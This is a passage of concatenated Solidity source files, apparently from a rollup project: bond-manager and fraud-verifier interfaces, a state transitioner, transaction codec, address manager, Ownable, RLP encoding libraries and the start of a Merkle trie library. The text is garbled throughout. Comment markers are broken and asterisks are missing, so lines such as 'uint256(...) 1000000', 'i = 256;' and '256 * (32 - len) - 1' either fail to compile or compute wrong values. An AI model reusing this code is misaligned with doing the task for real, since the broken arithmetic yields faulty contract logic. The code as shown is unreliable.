SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; interface ERC20 { function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); } /// All the errors which may be encountered on the bond manager library Errors { string constant ERC20_ERR = "BondManager: Could not post bond"; string constant ALREADY_FINALIZED = "BondManager: Fraud proof for this pre-state root has already been finalized"; string constant SLASHED = "BondManager: Cannot finalize withdrawal, you probably got slashed"; string constant WRONG_STATE = "BondManager: Wrong bond state for proposer"; string constant CANNOT_CLAIM = "BondManager: Cannot claim yet. Dispute must be finalized first"; string constant WITHDRAWAL_PENDING = "BondManager: Withdrawal already pending"; string constant TOO_EARLY = "BondManager: Too early to finalize your withdrawal"; string constant ONLY_TRANSITIONER = "BondManager: Only the transitioner for this pre-state root may call this function"; string constant ONLY_FRAUD_VERIFIER = "BondManager: Only the fraud verifier may call this function"; string constant ONLY_STATE_COMMITMENT_CHAIN = "BondManager: Only the state commitment chain may call this function"; string constant WAIT_FOR_DISPUTES = "BondManager: Wait for other potential disputes"; } / * @title iOVM_BondManager / interface iOVM_BondManager { /****************** * Data Structures * *****************/ /// The lifecycle of a proposer's bond enum State { // Before depositing or after getting slashed, a user is uncollateralized NOT_COLLATERALIZED, // After depositing, a user is collateralized COLLATERALIZED, // After a user has initiated a withdrawal WITHDRAWING } /// A bond posted by a proposer struct Bond { // The user's state State state; // The timestamp at which a proposer issued their withdrawal request uint32 withdrawalTimestamp; // The time when the first disputed was initiated for this bond uint256 firstDisputeAt; // The earliest observed state root for this bond which has had fraud bytes32 earliestDisputedStateRoot; // The state root's timestamp uint256 earliestTimestamp; } // Per pre-state root, store the number of state provisions that were made // and how many of these calls were made by each user. Payouts will then be // claimed by users proportionally for that dispute. struct Rewards { // Flag to check if rewards for a fraud proof are claimable bool canClaim; // Total number of `recordGasSpent` calls made uint256 total; // The gas spent by each user to provide witness data. The sum of all // values inside this map MUST be equal to the value of `total` mapping(address => uint256) gasSpent; } /****************** * Public Functions * *******************/ function recordGasSpent( bytes32 _preStateRoot, bytes32 _txHash, address _who, uint256 _gasSpent ) external; function finalize( bytes32 _preStateRoot, address _publisher, uint256 _timestamp ) external; function deposit() external; function startWithdrawal() external; function finalizeWithdrawal() external; function claim( address _who ) external; function isCollateralized( address _who ) external view returns (bool); function getGasSpent( bytes32 _preStateRoot, address _who ) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; / Interface Imports / import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol"; /* * @title iOVM_FraudVerifier / interface iOVM_FraudVerifier { /********* * Events * ********/ event FraudProofInitialized( bytes32 _preStateRoot, uint256 _preStateRootIndex, bytes32 _transactionHash, address _who ); event FraudProofFinalized( bytes32 _preStateRoot, uint256 _preStateRootIndex, bytes32 _transactionHash, address _who ); /************************************* * Public Functions: Transition Status * *************************************/ function getStateTransitioner(bytes32 _preStateRoot, bytes32 _txHash) external view returns (iOVM_StateTransitioner _transitioner); /************************************** * Public Functions: Fraud Verification * ***************************************/ function initializeFraudVerification( bytes32 _preStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof, Lib_OVMCodec.Transaction calldata _transaction, Lib_OVMCodec.TransactionChainElement calldata _txChainElement, Lib_OVMCodec.ChainBatchHeader calldata _transactionBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _transactionProof ) external; function finalizeFraudVerification( bytes32 _preStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof, bytes32 _txHash, bytes32 _postStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _postStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _postStateRootProof ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /* * @title iOVM_StateTransitioner / interface iOVM_StateTransitioner { /********* * Events * ********/ event AccountCommitted( address _address ); event ContractStorageCommitted( address _address, bytes32 _key ); /******************************** * Public Functions: State Access * ********************************/ function getPreStateRoot() external view returns (bytes32 _preStateRoot); function getPostStateRoot() external view returns (bytes32 _postStateRoot); function isComplete() external view returns (bool _complete); /********************************* * Public Functions: Pre-Execution * *********************************/ function proveContractState( address _ovmContractAddress, address _ethContractAddress, bytes calldata _stateTrieWitness ) external; function proveStorageSlot( address _ovmContractAddress, bytes32 _key, bytes calldata _storageTrieWitness ) external; /***************************** * Public Functions: Execution * *****************************/ function applyTransaction( Lib_OVMCodec.Transaction calldata _transaction ) external; /********************************** * Public Functions: Post-Execution * **********************************/ function commitContractState( address _ovmContractAddress, bytes calldata _stateTrieWitness ) external; function commitStorageSlot( address _ovmContractAddress, bytes32 _key, bytes calldata _storageTrieWitness ) external; /******************************** * Public Functions: Finalization * *********************************/ function completeTransition() external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / Contract Imports / import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol"; /* * @title iOVM_StateTransitionerFactory / interface iOVM_StateTransitionerFactory { /************************************** * Public Functions: Contract Creation * **************************************/ function create( address _proxyManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) external returns ( iOVM_StateTransitioner _ovmStateTransitioner ); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol"; import { Lib_SafeExecutionManagerWrapper } from "../../libraries/wrappers/Lib_SafeExecutionManagerWrapper.sol"; /* * @title Lib_OVMCodec / library Lib_OVMCodec { /******** * Enums * *******/ enum EOASignatureType { EIP155_TRANSACTION, ETH_SIGNED_MESSAGE } enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /********* * Structs * *********/ struct Account { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; address ethAddress; bool isFresh; } struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } struct EIP155Transaction { uint256 nonce; uint256 gasPrice; uint256 gasLimit; address to; uint256 value; bytes data; uint256 chainId; } /******************** * Internal Functions * ********************/ / * Decodes an EOA transaction (i.e., native Ethereum RLP encoding). * @param _transaction Encoded EOA transaction. * @return Transaction decoded into a struct. / function decodeEIP155Transaction( bytes memory _transaction, bool _isEthSignedMessage ) internal pure returns ( EIP155Transaction memory ) { if (_isEthSignedMessage) { ( uint256 _nonce, uint256 _gasLimit, uint256 _gasPrice, uint256 _chainId, address _to, bytes memory _data ) = abi.decode( _transaction, (uint256, uint256, uint256, uint256, address ,bytes) ); return EIP155Transaction({ nonce: _nonce, gasPrice: _gasPrice, gasLimit: _gasLimit, to: _to, value: 0, data: _data, chainId: _chainId }); } else { Lib_RLPReader.RLPItem[] memory decoded = Lib_RLPReader.readList(_transaction); return EIP155Transaction({ nonce: Lib_RLPReader.readUint256(decoded[0]), gasPrice: Lib_RLPReader.readUint256(decoded[1]), gasLimit: Lib_RLPReader.readUint256(decoded[2]), to: Lib_RLPReader.readAddress(decoded[3]), value: Lib_RLPReader.readUint256(decoded[4]), data: Lib_RLPReader.readBytes(decoded[5]), chainId: Lib_RLPReader.readUint256(decoded[6]) }); } } /* * Decompresses a compressed EIP155 transaction. * @param _transaction Compressed EIP155 transaction bytes. * @return Transaction parsed into a struct. / function decompressEIP155Transaction( bytes memory _transaction ) internal returns ( EIP155Transaction memory ) { return EIP155Transaction({ gasLimit: Lib_BytesUtils.toUint24(_transaction, 0), gasPrice: uint256(Lib_BytesUtils.toUint24(_transaction, 3)) 1000000, nonce: Lib_BytesUtils.toUint24(_transaction, 6), to: Lib_BytesUtils.toAddress(_transaction, 9), data: Lib_BytesUtils.slice(_transaction, 29), chainId: Lib_SafeExecutionManagerWrapper.safeCHAINID(), value: 0 }); } /** * Encodes an EOA transaction back into the original transaction. * @param _transaction EIP155transaction to encode. * @param _isEthSignedMessage Whether or not this was an eth signed message. * @return Encoded transaction. / function encodeEIP155Transaction( EIP155Transaction memory _transaction, bool _isEthSignedMessage ) internal pure returns ( bytes memory ) { if (_isEthSignedMessage) { return abi.encode( _transaction.nonce, _transaction.gasLimit, _transaction.gasPrice, _transaction.chainId, _transaction.to, _transaction.data ); } else { bytes[] memory raw = new bytes[](9); raw[0] = Lib_RLPWriter.writeUint(_transaction.nonce); raw[1] = Lib_RLPWriter.writeUint(_transaction.gasPrice); raw[2] = Lib_RLPWriter.writeUint(_transaction.gasLimit); if (_transaction.to == address(0)) { raw[3] = Lib_RLPWriter.writeBytes(''); } else { raw[3] = Lib_RLPWriter.writeAddress(_transaction.to); } raw[4] = Lib_RLPWriter.writeUint(0); raw[5] = Lib_RLPWriter.writeBytes(_transaction.data); raw[6] = Lib_RLPWriter.writeUint(_transaction.chainId); raw[7] = Lib_RLPWriter.writeBytes(bytes('')); raw[8] = Lib_RLPWriter.writeBytes(bytes('')); return Lib_RLPWriter.writeList(raw); } } /* * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. / function encodeTransaction( Transaction memory _transaction ) internal pure returns ( bytes memory ) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /* * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction / function hashTransaction( Transaction memory _transaction ) internal pure returns ( bytes32 ) { return keccak256(encodeTransaction(_transaction)); } /* * Converts an OVM account to an EVM account. * @param _in OVM account to convert. * @return Converted EVM account. / function toEVMAccount( Account memory _in ) internal pure returns ( EVMAccount memory ) { return EVMAccount({ nonce: _in.nonce, balance: _in.balance, storageRoot: _in.storageRoot, codeHash: _in.codeHash }); } /* * @notice RLP-encodes an account state struct. * @param _account Account state struct. * @return RLP-encoded account state. / function encodeEVMAccount( EVMAccount memory _account ) internal pure returns ( bytes memory ) { bytes[] memory raw = new bytes[](4); // Unfortunately we can't create this array outright because // Lib_RLPWriter.writeList will reject fixed-size arrays. Assigning // index-by-index circumvents this issue. raw[0] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.nonce) ) ); raw[1] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.balance) ) ); raw[2] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.storageRoot)); raw[3] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.codeHash)); return Lib_RLPWriter.writeList(raw); } /* * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. / function decodeEVMAccount( bytes memory _encoded ) internal pure returns ( EVMAccount memory ) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /* * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. / function hashBatchHeader( Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal pure returns ( bytes32 ) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / Contract Imports / import { Ownable } from "./Lib_Ownable.sol"; /* * @title Lib_AddressManager / contract Lib_AddressManager is Ownable { /********* * Events * ********/ event AddressSet( string _name, address _newAddress ); /***************************************** * Contract Variables: Internal Accounting * *****************************************/ mapping (bytes32 => address) private addresses; /****************** * Public Functions * ******************/ function setAddress( string memory _name, address _address ) public onlyOwner { emit AddressSet(_name, _address); addresses[_getNameHash(_name)] = _address; } function getAddress( string memory _name ) public view returns (address) { return addresses[_getNameHash(_name)]; } /******************** * Internal Functions * *********************/ function _getNameHash( string memory _name ) internal pure returns ( bytes32 _hash ) { return keccak256(abi.encodePacked(_name)); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / Library Imports / import { Lib_AddressManager } from "./Lib_AddressManager.sol"; /* * @title Lib_AddressResolver / abstract contract Lib_AddressResolver { /****************************************** * Contract Variables: Contract References * *****************************************/ Lib_AddressManager public libAddressManager; /************* * Constructor * *************/ / * @param _libAddressManager Address of the Lib_AddressManager. / constructor( address _libAddressManager ) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************* * Public Functions * ******************/ function resolve( string memory _name ) public view returns ( address _contract ) { return libAddressManager.getAddress(_name); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / * @title Ownable * @dev Adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol / abstract contract Ownable { /************ * Variables * ***********/ address public owner; /******** * Events * ********/ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /************* * Constructor * *************/ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /******************** * Function Modifiers * ********************/ modifier onlyOwner() { require( owner == msg.sender, "Ownable: caller is not the owner" ); _; } /****************** * Public Functions * ******************/ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transferOwnership(address _newOwner) public virtual onlyOwner { require( _newOwner != address(0), "Ownable: new owner cannot be the zero address" ); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]). / library Lib_RLPReader { /************ * Constants * ***********/ uint256 constant internal MAX_LIST_LENGTH = 32; /******* * Enums * *******/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /********* * Structs * *********/ struct RLPItem { uint256 length; uint256 ptr; } /******************** * Internal Functions * ********************/ / * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. / function toRLPItem( bytes memory _in ) internal pure returns ( RLPItem memory ) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /* * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. / function readList( RLPItem memory _in ) internal pure returns ( RLPItem[] memory ) { ( uint256 listOffset, , RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value." ); // Solidity in-memory arrays can't be increased in size, but can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require( itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length." ); ( uint256 itemOffset, uint256 itemLength, ) = _decodeLength(RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset })); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. / function readList( bytes memory _in ) internal pure returns ( RLPItem[] memory ) { return readList( toRLPItem(_in) ); } /* * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. / function readBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value." ); return _copy(_in.ptr, itemOffset, itemLength); } /* * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. / function readBytes( bytes memory _in ) internal pure returns ( bytes memory ) { return readBytes( toRLPItem(_in) ); } /* * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. / function readString( RLPItem memory _in ) internal pure returns ( string memory ) { return string(readBytes(_in)); } /* * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. / function readString( bytes memory _in ) internal pure returns ( string memory ) { return readString( toRLPItem(_in) ); } /* * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. / function readBytes32( RLPItem memory _in ) internal pure returns ( bytes32 ) { require( _in.length <= 33, "Invalid RLP bytes32 value." ); ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value." ); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /* * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. / function readBytes32( bytes memory _in ) internal pure returns ( bytes32 ) { return readBytes32( toRLPItem(_in) ); } /* * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. / function readUint256( RLPItem memory _in ) internal pure returns ( uint256 ) { return uint256(readBytes32(_in)); } /* * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. / function readUint256( bytes memory _in ) internal pure returns ( uint256 ) { return readUint256( toRLPItem(_in) ); } /* * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. / function readBool( RLPItem memory _in ) internal pure returns ( bool ) { require( _in.length == 1, "Invalid RLP boolean value." ); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require( out == 0 \|\| out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1" ); return out != 0; } /* * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. / function readBool( bytes memory _in ) internal pure returns ( bool ) { return readBool( toRLPItem(_in) ); } /* * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. / function readAddress( RLPItem memory _in ) internal pure returns ( address ) { if (_in.length == 1) { return address(0); } require( _in.length == 21, "Invalid RLP address value." ); return address(readUint256(_in)); } /* * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. / function readAddress( bytes memory _in ) internal pure returns ( address ) { return readAddress( toRLPItem(_in) ); } /* * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. / function readRawBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { return _copy(_in); } /******************** * Private Functions * *******************/ / * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). / function _decodeLength( RLPItem memory _in ) private pure returns ( uint256, uint256, RLPItemType ) { require( _in.length > 0, "RLP item cannot be null." ); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return (0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require( _in.length > strLen, "Invalid RLP short string." ); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require( _in.length > lenOfStrLen, "Invalid RLP long string length." ); uint256 strLen; assembly { // Pick out the string length. strLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen)) ) } require( _in.length > lenOfStrLen + strLen, "Invalid RLP long string." ); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require( _in.length > listLen, "Invalid RLP short list." ); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require( _in.length > lenOfListLen, "Invalid RLP long list length." ); uint256 listLen; assembly { // Pick out the list length. listLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen)) ) } require( _in.length > lenOfListLen + listLen, "Invalid RLP long list." ); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /* * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. / function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns ( bytes memory ) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask = 256 * (32 - (_length % 32)) - 1; assembly { mstore( dest, or( and(mload(src), not(mask)), and(mload(dest), mask) ) ) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. / function _copy( RLPItem memory _in ) private pure returns ( bytes memory ) { return _copy(_in.ptr, 0, _in.length); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; /* * @title Lib_RLPWriter * @author Bakaoh (with modifications) / library Lib_RLPWriter { /********************* * Internal Functions * ********************/ / * RLP encodes a byte string. * @param _in The byte string to encode. * @return _out The RLP encoded string in bytes. / function writeBytes( bytes memory _in ) internal pure returns ( bytes memory _out ) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /* * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return _out The RLP encoded list of items in bytes. / function writeList( bytes[] memory _in ) internal pure returns ( bytes memory _out ) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /* * RLP encodes a string. * @param _in The string to encode. * @return _out The RLP encoded string in bytes. / function writeString( string memory _in ) internal pure returns ( bytes memory _out ) { return writeBytes(bytes(_in)); } /* * RLP encodes an address. * @param _in The address to encode. * @return _out The RLP encoded address in bytes. / function writeAddress( address _in ) internal pure returns ( bytes memory _out ) { return writeBytes(abi.encodePacked(_in)); } /* * RLP encodes a uint. * @param _in The uint256 to encode. * @return _out The RLP encoded uint256 in bytes. / function writeUint( uint256 _in ) internal pure returns ( bytes memory _out ) { return writeBytes(_toBinary(_in)); } /* * RLP encodes a bool. * @param _in The bool to encode. * @return _out The RLP encoded bool in bytes. / function writeBool( bool _in ) internal pure returns ( bytes memory _out ) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /******************** * Private Functions * *******************/ / * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return _encoded RLP encoded bytes. / function _writeLength( uint256 _len, uint256 _offset ) private pure returns ( bytes memory _encoded ) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = byte(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i = 256; } encoded = new bytes(lenLen + 1); encoded[0] = byte(uint8(lenLen) + uint8(_offset) + 55); for(i = 1; i <= lenLen; i++) { encoded[i] = byte(uint8((_len / (256(lenLen-i))) % 256)); } } return encoded; } / * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return _binary RLP encoded bytes. / function _toBinary( uint256 _x ) private pure returns ( bytes memory _binary ) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /* * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. / function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask = 256 * (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return _flattened The flattened byte string. / function _flatten( bytes[] memory _list ) private pure returns ( bytes memory _flattened ) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for(i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20)} _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / Library Imports / import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; /* * @title Lib_MerkleTrie / library Lib_MerkleTrie { /****************** * Data Structures * *****************/ enum NodeType { BranchNode, ExtensionNode, LeafNode } struct TrieNode { bytes encoded; Lib_RLPReader.RLPItem[] decoded; } /******************** * Contract Constants * ********************/ // TREE_RADIX determines the number of elements per branch node. uint256 constant TREE_RADIX = 16; // Branch nodes have TREE_RADIX elements plus an additional `value` slot. uint256 constant BRANCH_NODE_LENGTH = TREE_RADIX + 1; // Leaf nodes and extension nodes always have two elements, a `path` and a `value`. uint256 constant LEAF_OR_EXTENSION_NODE_LENGTH = 2; // Prefixes are prepended to the `path` within a leaf or extension node and // allow us to differentiate between the two node types. `ODD` or `EVEN` is // determined by the number of nibbles within the unprefixed `path`. If the // number of nibbles if even, we need to insert an extra padding nibble so // the resulting prefixed `path` has an even number of nibbles. uint8 constant PREFIX_EXTENSION_EVEN = 0; uint8 constant PREFIX_EXTENSION_ODD = 1; uint8 constant PREFIX_LEAF_EVEN = 2; uint8 constant PREFIX_LEAF_ODD = 3; // Just a utility constant. RLP represents `NULL` as 0x80. bytes1 constant RLP_NULL = bytes1(0x80); bytes constant RLP_NULL_BYTES = hex'80'; bytes32 constant internal KECCAK256_RLP_NULL_BYTES = keccak256(RLP_NULL_BYTES); /******************** * Internal Functions * ********************/ / * @notice Verifies a proof that a given key/value pair is present in the * Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _value Value of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the desired node. Unlike * traditional Merkle trees, this proof is executed top-down and consists * of a list of RLP-encoded nodes that make a path down to the target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the k/v pair exists in the trie, `false` otherwise. / function verifyInclusionProof( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { ( bool exists, bytes memory value ) = get(_key, _proof, _root); return ( exists && Lib_BytesUtils.equal(_value, value) ); } /* * @notice Verifies a proof that a given key is not present in * the Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the node nearest the * target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the key is absent in the trie, `false` otherwise. / function verifyExclusionProof( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { ( bool exists, ) = get(_key, _proof, _root); return exists == false; } /* * @notice Updates a Merkle trie and returns a new root hash. * @param _key Key of the node to update, as a hex string. * @param _value Value of the node to update, as a hex string. * @param _proof Merkle trie inclusion proof for the node nearest the * target node. If the key exists, we can simply update the value. * Otherwise, we need to modify the trie to handle the new k/v pair. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _updatedRoot Root hash of the newly constructed trie. / function update( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bytes32 _updatedRoot ) { // Special case when inserting the very first node. if (_root == KECCAK256_RLP_NULL_BYTES) { return getSingleNodeRootHash(_key, _value); } TrieNode[] memory proof = _parseProof(_proof); (uint256 pathLength, bytes memory 